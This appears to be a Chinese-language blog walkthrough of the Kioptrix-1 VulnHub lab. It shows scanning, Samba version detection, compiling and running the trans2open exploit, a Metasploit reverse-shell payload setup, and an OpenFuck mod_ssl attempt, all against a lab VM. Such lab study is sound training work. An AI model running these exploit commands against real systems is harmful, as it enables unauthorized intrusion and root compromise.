vulnhub靶场【kioptrix-1靶机】
前言
靶机:kioptrix-1
,IP地址为192.168.1.104
攻击:kali
,IP地址为192.168.1.16
都采用虚拟机,网卡为桥接模式
文章中涉及的靶机,来源于
vulnhub
官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d
主机发现
使用arp-scan -l
或netdiscover -r 192.168.10.1/24
扫描
也可以使用nmap
等工具进行
信息收集
使用nmap扫描端口
对于后续的目录爆破等,因为我个人测试过,所以发现网站的目录无价值,进而直接搜索版本漏洞进行测试
smb漏洞寻找并利用
使用searchsploit
前面直接发现139
端口开启,并且nmap
扫描出的是sam
服务
那么使用smbclient
尝试连接,看能否有东西产出
如图,并未把版本揭示,那么我对于漏洞的使用缺失重要的一块
更换工具,采用github
上的一个项目进行测试https://github.com/amitn322/smb-version/blob/master/samba_version.py
下载到kali
中,然后执行脚本即可
python2 smbversion.py -s 192.168.1.104
使用searchsploit
进行测试,发现对应的漏洞只有一个可用于继续下一步,对于.rb
,因为是msf
特有的,所以暂不考虑
查看10.c
文件,给出了用法
那么直接进行编译即可
gcc 10.c -o exp
编译成功,直接执行上面的用法,针对单个ip
即可
./exp -b 0 -v 192.168.1.104
执行后,提权至root
使用msf
把上面作为节点,这里是新的
这里还是要检测smb
服务的版本,这里借助整个msf
作为使用
使用下面命令启动msf
,并搜索对应的模块
msfconsole
search type:auxiliary smb version detection
那么使用该模块,命令如下
msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > optionsmsf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.104
msf6 auxiliary(scanner/smb/smb_version) > set rport 139
msf6 auxiliary(scanner/smb/smb_version) > optionsmsf6 auxiliary(scanner/smb/smb_version) > run
执行后,会看到对应的版本信息
通过版本在msf
中搜索可执行漏洞,这里注意,漏洞都是同一种trans2open
,只是操作系统不同,这里靶机为linux
操作系统,所以根据操作系统去选择
search type:exploit samba 2.2
use 2
optionsset rhost 192.168.1.104
//端口默认目标的是139
这里需要设置一个payload
进行监听反弹shell
,所以需要设置linux
的监听
set payload linux/x86/shell/reverse_tcp
//脚本很多,选择其中一个即可
这时候执行,等待缓冲区溢出的爆破,一会即可发现反弹成功
web应用漏洞寻找利用
在之前使用nmap
扫描时,确定443端口服务的版本mod_ssl 2.8.4
,尝试进行搜索了一下,发现有版本范围内的一个漏洞openfuck
searchsploit mod_ssl 2.8.4
再使用nikto
测试,发现也是有提到,可能存在
nikto -h 192.168.1.104
测试,直接使用remote buffer overflow
,这个是我个人习惯,采用最新版本。
查看这个c
文件,其中有用法,以及条件
那么就执行安装后,然后再编译
apt-get install libssl-dev
gcc -o openfuck 47080.c -lcrypto
执行编译后的openfuck
,查看帮助,提供用法
./openfuck
大概用法就是
./openfuck 192.168.1.104 [box] 443
向下翻找,发现与前面nmap
扫描出的443
端口的服务版本redhat
,中间件版本apache 1.3.20
对应的有两个
测试这两个即可
./openfuck 192.168.1.104 0x6a 443./openfuck 192.168.1.104 0x6b 443
这里经过测试两个,发现都是提示超时
可能这里无法利用,不过查看了网上的wp
,发现可以利用,这让我陷入深思,所以暂且到这里,等我搞清楚,会发布
总结
该靶机考察以下几点:
- 对于存在的
smb
服务,要能够识别出版本信息,也就是信息收集,这样才能为下一步确定有无版本信息做铺垫 - 善于使用
searchsploit
,这个是调用一个漏洞库中的信息,当然对于漏洞库也不要仅限于一个,多个漏洞库去搜索,可能这个没有,那个会有 - 对于给出的
poc
、c
文件等,要会编译,并复现,经常查看源文件 - 对于
msf
这个强大的工具,要会使用,至少要知道一些简单的用法
主要考察的就是对于服务的版本历史漏洞的复现,以及利用
相关文章:
vulnhub靶场【kioptrix-1靶机】
前言 靶机:kioptrix-1,IP地址为192.168.1.104 攻击:kali,IP地址为192.168.1.16 都采用虚拟机,网卡为桥接模式 文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载&…...
PyQt5之QCalendarWidget
十八、QCalendarWidget 1.描述 提供了一个基于每月日历控件,允许用户选择一个日期。 继承自QWidget 2.功能作用 (1) 构造函数 QCalendarWidget(parent: QWidget None)(2) 日期范围 setMinimumDate(QDate date) minimumDate() -> QDate setMaximumDate(QD…...
【Qt】窗口
窗口 菜单栏 QMenuBar给菜单设置快捷键添加子菜单添加分割线设置图标 工具栏 QToolBar状态栏 QStatusBar浮动窗口 QDockWidget对话框自定义对话框通过代码方式通过图形化方式 模态对话框 Qt 内置对话框消息对话框 QMessageBox颜色对话框 QColorDialog文件对话框 QFileDialog字体…...
初阶5 排序
本章重点 排序的概念常见排序的算法思想和实现排序算法的复杂度以及稳定性分析 1.排序的概念 排序: 所谓排序,就是使一串记录,按照其中的某个或某些关键字的大小,递增或递减的排列起来的操作。稳定性: 假定在待排序的记录序列中࿰…...
备赛蓝桥杯之第十五届职业院校组省赛第二题:分享点滴
提示:本篇文章仅仅是作者自己目前在备赛蓝桥杯中,自己学习与刷题的学习笔记,写的不好,欢迎大家批评与建议 由于个别题目代码量与题目量偏大,请大家自己去蓝桥杯官网【连接高校和企业 - 蓝桥云课】去寻找原题࿰…...
qml ColumnLayout详解
1、概述 ColumnLayout 是 QML 中用于在垂直方向上排列子元素的一种布局管理器。它继承自 Item 并提供了简单的布局机制,使得子元素能够按照从上到下的顺序自动排列。ColumnLayout 通常用于创建具有垂直层次结构的用户界面。 2、重要属性 layoutDirection 类型&…...
Qt 5.14.2 学习记录 —— 십팔 对话框
文章目录 1、Qt对话框2、自定义对话框1、代码方式2、图形化方式 3、模态对话框4、QMessageBox5、QColorDialog6、QFileDialog7、QFontDialog8、QInputDialog 1、Qt对话框 Qt的对话框用QDialog类来表示,可以自定义一些类来实现自定义对话框,但需要继承自…...
AI 编程工具—Cursor进阶使用 Rules for AI
AI 编程工具—Cursor进阶使用 Rules for AI 这里配置是给所有的会话和内嵌模式的,你可以理解为是一个全局的配置 下面的代码是之前Cursor 给我们生成的,下面我们开始配置Rules ,来让Cursor生成的代码更加符合我们的编程习惯 def quick_sort(arr):"""使用快…...
SpringBoot 实现动态管理定时任务 Job的动态操作(添加、修改、启停、执行、删除)以及界面展示和具体Job的创建与执行示例
SpringBoot 实现动态管理定时任务 Job的动态操作(添加、修改、启停、执行、删除)以及界面展示和具体Job的创建与执行示例 关键接口类: CronTaskRegistrar SchedulingRunnable . 添加定时任务注册类,用来增加、删除定时任务 impo…...
FPGA中场战事
2023年10月3日,英特尔宣布由桑德拉里维拉(Sandra Rivera)担任“分拆”后独立运营的可编程事业部首席执行官。 从数据中心和人工智能(DCAI)部门总经理,转身为执掌该业务的CEO,对她取得像AMD掌门人苏姿丰博士类似的成功,无疑抱以厚望。 十年前,英特尔花费167亿美元真金白银…...
_CLASSDEF在C++中的用法详解及示例
_CLASSDEF在C++中的用法详解及示例 _CLASSDEF的定义与使用示例说明代码解析总结在C++编程中,宏(Macro)是一种预处理指令,它允许程序员在编译之前对代码进行文本替换。_CLASSDEF是一个自定义的宏,它提供了一种便捷的方式来定义类及其相关类型。本文将详细介绍_CLASSDEF在C+…...
缓存-Redis-数据结构-redis哪些数据结构是跳表实现的?
在 Redis 中,跳表(Skip List) 被用于实现 有序集合(Sorted Set) 数据结构。以下是对此实现的详细解释: Redis中的有序集合(Sorted Set) 有序集合(Sorted Set࿰…...
K8S中Service详解(二)
Service类型 Service的资源清单文件: --- kind: Service # 资源类型 apiVersion: v1 # 资源版本 metadata: # 元数据name: service # 资源名称namespace: dev # 命名空间 spec: # 描述selector: # 标签选择器,用于确定当前service代理哪些podapp: ngin…...
鸿蒙模块概念和应用启动相关类(HAP、HAR、HSP、AbilityStage、UIAbility、WindowStage、window)
目录 鸿蒙模块概念 HAP entry feature har shared 使用场景 HAP、HAR、HSP介绍 HAP、HAR、HSP开发 应用的启动 AbilityStage UIAbility WindowStage Window 拉起应用到显示到前台流程 鸿蒙模块概念 HAP hap包是手机安装的最小单元,1个app包含一个或…...
【EXCEL_VBA_实战】多工作薄合并深入理解
工作背景:多个工作薄存在冲突的名称,需快速合并 困难点:工作表移动复制时,若有冲突的名称,会不断弹出对话框待人工确认 思路:利用代码确认弹出的对话框 关键代码:Application.DisplayAlerts …...
Maven的下载安装配置
maven的下载安装配置 maven是什么 Maven 是一个用于 Java 平台的 自动化构建工具,由 Apache 组织提供。它不仅可以用作包管理,还支持项目的开发、打包、测试及部署等一系列行为 Maven的核心功能 项目构建生命周期管理:Maven定义了项目构建…...
网络打印机的搜索与连接(一)
介绍 网络打印机就是可以通过网络连接上的打印机,这类打印机分2种:自身具有互联网接入功能可以分配IP的打印机我们称为网络打印机、另外一种就是被某台电脑连接上去后通过共享的方式共享到网络里面的我们称为共享打印机。现在还有一种可以通过互联网连接…...
高并发压力测试
高并发压力测试 CountDownLatch就是JUC包下的一个工具,整个工具最核心的功能就是计数器。 需要一个并发安全的计数器来操作。CountDownLatch就可以实现。 给CountDownLatch设置一个数值。 每个业务处理完毕之后,执行一次countDown方法,指…...
Python中采用.add_subplot绘制子图的方法简要举例介绍
Python中采用.add_subplot绘制子图的方法简要举例介绍 目录 Python中采用.add_subplot绘制子图的方法简要举例介绍一、Python中绘制子图的方法1.1 add_subplot函数1.2 基本语法(1)add_subplot的核心语法(2)add_subplot在中编程中的…...
ipad和macbook同步zotero文献附件失败的解决办法
背景:我所有的文献及其附件pdf都是在台式机(windows系统),想要把这些文献同步到云上,然后再从云上同步到平板和其他笔记本电脑比如macbook。文献同步虽已成功,但文献附件都无法打开。 平板报错如下…...
循环队列(C语言)
从今天开始我会开启一个专栏leetcode每日一题,大家互相交流代码经验,也当作我每天练习的自我回顾。第一天的内容是leetcode622.设计循环队列。 一、题目详细 设计你的循环队列实现。 循环队列是一种线性数据结构,其操作表现基于 FIFO&#…...
Amazon Redshift实用命令语句
1. 数据库管理相关命令 创建数据库 CREATE DATABASE mydatabase;Amazon Redshift创建数据库命令除了基本形式外,还有以下几种带不同参数的形式: 带OWNER参数 可以指定数据库的所有者,通常是一个数据库用户或角色。 CREATE DATABASE myda…...
音频入门(二):音频数据增强
本文介绍了一些常见的音频数据增强方法,并给出了代码实现。 目录 一、简介 二、代码 1. 安装必要的库 2. 代码 3. 各函数的介绍 4. 使用方法 参考: 一、简介 音频数据增强是机器学习和深度学习领域中用于改善模型性能和泛化能力的技术。 使用数据…...
【Hadoop面试题2025】
文章目录 简单题故障及相应的处理方法中等难度高难度小文件小文件的产生小文件问题的影响小文件治理方案推荐方案 冷文件冷文件的产生冷文件问题的影响冷文件治理方案推荐方案 简单题 一、基础概念类 什么是Hadoop? 答案:Hadoop是一个开源的分布式计算框…...
Unity自学之旅03
Unity自学之旅03 Unity自学之旅03📝 碰撞体 Collider 基础定义与作用常见类型OnCollisionEnter 事件碰撞触发器 🤗 总结归纳 Unity自学之旅03 📝 碰撞体 Collider 基础 定义与作用 定义:碰撞体是游戏中用于检测物体之间碰撞的组…...
STranslate 中文绿色版即时翻译/ OCR 工具 v1.3.1.120
STranslate 是一款功能强大且用户友好的翻译工具,它支持多种语言的即时翻译,提供丰富的翻译功能和便捷的使用体验。STranslate 特别适合需要频繁进行多语言交流的个人用户、商务人士和翻译工作者。 软件功能 1. 即时翻译: 文本翻译ÿ…...
树的存储(c++)
树结构相对线性结构来说就⽐较复杂。存储时,既要保存值域,也要保存结点与结点之间的关系。实际中树有很多种存储⽅式:双亲表⽰法,孩⼦表⽰法、孩⼦双亲表⽰法以及孩⼦兄弟表⽰法等。现阶段,我们只⽤掌握孩⼦表⽰法&…...
JVM面试题解,垃圾回收之“对象存活判断”剖析
一、JVM怎么判断一个类/对象是不是垃圾? 先来说如何判断一个对象是不是垃圾 最常用的就是引用计数法和可达性分析 引用计数法 引用计数法为每个对象维护一个计数器来跟踪有多少个引用指向该对象。每当创建一个新的引用指向某个对象时,计数器加1&…...
【Elasticsearch】 Ingest Pipeline `processors`属性详解
在Elasticsearch中,Ingest Pipeline 的 processors 属性是一个数组,包含一个或多个处理器(processors)。每个处理器定义了一个数据处理步骤,可以在数据索引之前对数据进行预处理或富化。以下是对 processors 属性中常见…...
Springboot3 自动装配之核心文件:imports文件
注:本文以spring-boot v3.4.1源码为基础,梳理spring-boot应用启动流程、分析自动装配的原理 如果对spring-boot2自动装配有兴趣,可以看看我另一篇文章: Springboot2 自动装配之spring-autoconfigure-metadata.properties和spring…...
Ceisum无人机巡检直播视频投射
接上次的视频投影,Leader告诉我这个视频投影要用在两个地方,一个是我原先写的轨迹回放那里,另一个在无人机起飞后的地图回显,要实时播放无人机拍摄的视频,还要能转镜头,让我把这个也接一下。 我的天&#x…...
【IJCAI】2025 投稿重点记录
【IJCAI】2025 投稿重点记录 写在最前面【IJCAI】2025 投稿重点记录1. 文件说明2. 论文长度要求正式版本的页面扩展 3. 作者信息及匿名性要求4. 摘要5. 附录与补充内容6. 审稿重点与伦理声明7. 参考文献与贡献声明8. 技术要点与补充细节 🌈你好呀!我是 是…...
U3D的.Net学习
Mono:这是 Unity 最初采用的方式,它将 C# 代码编译为中间语言 (IL),然后在目标平台上使用虚拟机 (VM) 将其转换为本地机器码执行。 IL2CPP:这是一种较新的方法,它会将 C# 代码先编译为 C 代码,再由 C 编译器…...
C++ 二叉搜索树
目录 概念 性能分析 二叉搜索树的插入 二叉树的查找 二叉树的前序遍历 二叉搜索树的删除(重点) 完整代码 key与value的使用 概念 对于一个二叉搜索树 若它的左子树不为空,则左子树上所有的节点的值都小于等于根节点的值若它的右子树不为空…...
使用HTML5 Canvas 实现呼吸粒子球动画效果的原理
在网页开发领域,动画效果能够极大地提升用户体验,让页面变得更加生动有趣。今天,我们深入剖析一个基于 HTML5 Canvas 的 3D 粒子动画 —— 呼吸粒子球。通过详细解读其代码实现,我们将全面了解如何运用 HTML5 的强大功能构建出如此…...
计算机网络 (56)交互式音频/视频
一、定义与特点 定义:交互式音频/视频是指用户使用互联网和其他人进行实时交互式通信的技术,包括语音、视频图像等多媒体实时通信。 特点: 实时性:音频和视频数据是实时传输和播放的,用户之间可以进行即时的交流。交互…...
Androidstudio 中,project下的.gitignore和module下的.gitignore有什么区别,生效优先级是什么
在 Android Studio 项目中,project 根目录下的 .gitignore 文件和 module 目录下的 .gitignore 文件作用和生效优先级是不同的,理解它们之间的区别非常重要,可以避免不必要的提交和冲突。 1. project 根目录下的 .gitignore: 作…...
三篇物联网漏洞挖掘综述
由于物联网设备存在硬件资源受限、硬件复杂异构, 代码、文档未公开的问题, 物联网设备的漏洞挖掘存在较大的挑战: 硬件资源受限性: 通用动态二进分析技术需要在运行程序外围实施监控分析。由于物联网设备存储资源(存储)的受限性,…...
【动态规划】落花人独立,微雨燕双飞 - 8. 01背包问题
本篇博客给大家带来的是01背包问题之动态规划解法技巧. 🐎文章专栏: 动态规划 🚀若有问题 评论区见 ❤ 欢迎大家点赞 评论 收藏 分享 如果你不知道分享给谁,那就分享给薯条. 你们的支持是我不断创作的动力 . 王子,公主请阅🚀 要开心要快乐顺便…...
uniapps使用HTML5的io模块拷贝文件目录
最近在集成sqlite到uniapp的过程中,因为要将sqlite数据库预加载,所以需要使用HTML5的plus.io模块。使用过程中遇到了许多问题,比如文件路径总是解析不到等。尤其是应用私有文档目录’_doc’。 根据官方文档: 为了安全管理应用的…...
Word2Vec如何优化从中间层到输出层的计算?
文章目录 Word2Vec如何优化从中间层到输出层的计算?用负采样优化中间层到输出层的计算负采样方法的关键思想负采样的例子负采样的采样方法 Word2Vec如何优化从中间层到输出层的计算? 重要性:★★ 用负采样优化中间层到输出层的计算 以词汇…...
C#中的语句
C#提供了各式各样的语句,大多数是由C和C发展而来,当然,在C#中做了相应修改。语句和表达式一样,都是C#程序的基本组成部分,在本文我们来一起学习C#语句。 1.语句 语句是构造所有C#程序的过程构造块。在语句中可以声明…...
2.3.1(项目)kv存储——框架梳理(待定)
一、过一遍代码路线: 体会:(1)接口统一、测试标准统一,软件才会有量产的过程;(b)多层框架,实现业务部分和网络部分的完全剥离。 实现多层框架: ࿰…...
【YOLOv10改进[Backbone]】使用ConvNeXtV2替换Backbone
本文将进行在YOLOv10中使用ConvNeXtV2替换Backbone魔改v10的实践,文中含全部代码、详细修改方式。助您轻松理解改进的方法。 目录 一 ConvNeXtV2 二 魔改YOLOv10 1 整体修改 ① 添加python文件 ② 修改ultralytics/nn/tasks.py文件 2 配置文件...
在C#中添加I/O延时和持续时间
在C#中添加I/O延时和持续时间,可以通过以下方法实现。具体来说,延时可以通过Thread.Sleep、Task.Delay等方式来模拟延迟,而持续时间的控制可以通过循环结构来设定持续的时间。在执行I/O操作时,你可以在操作之间添加延时࿰…...
VUE之路由Props、replace、编程式路由导航、重定向
目录 1、路由_props的配置 2、路由_replaces属性 3、编程式路由导航 4、路由重定向 1、路由_props的配置 1)第一种写法,将路由收到的所有params参数作为props传给路由组件 只能适用于params参数 // 创建一个路由器,并暴露出去// 第一步…...
RabbitMQ的消息可靠性保证
文章目录 1.环境搭建1.common-rabbitmq-starter 配置防止消费者抢消息(基础配置)2.common-rabbitmq-starter-demo下创建一个生产者一个消费者 2.生产者可靠性1.开启消息超时重试机制2.生产者开启ConfirmCallback消息确认机制1.application.yml2.TestConf…...
MySQL 很重要的库 - 信息字典
在做owasp SQL 注入的时候,有个很重要的库,那就是 信息库: 这个库就是: information_schema; (准确的说,数据字典) mysql> show databases; -------------------- | Database | -------------------- | informa…...
使用C#对指定的MYSQL数据库进行备份以及常见问题
最近在开发过程中,需要做个MYSQL数据库的备份,大致总结了一下代码,以及常见的坑 string bakName "database" DateTime.Now.ToString("yyyyMMddHHmmss") ".sql";//备份后的数据库文件名var bakupFilePath &q…...
Appium(四)
一、app页面元素定位 1、通过id定位元素: resrouce-id2、通过ClassName定位:classname3、通过AccessibilityId定位:content-desc4、通过AndroidUiAutomator定位5、通过xpath定位xpath、id、class、accessibility id、android uiautomatorUI AutomatorUI自…...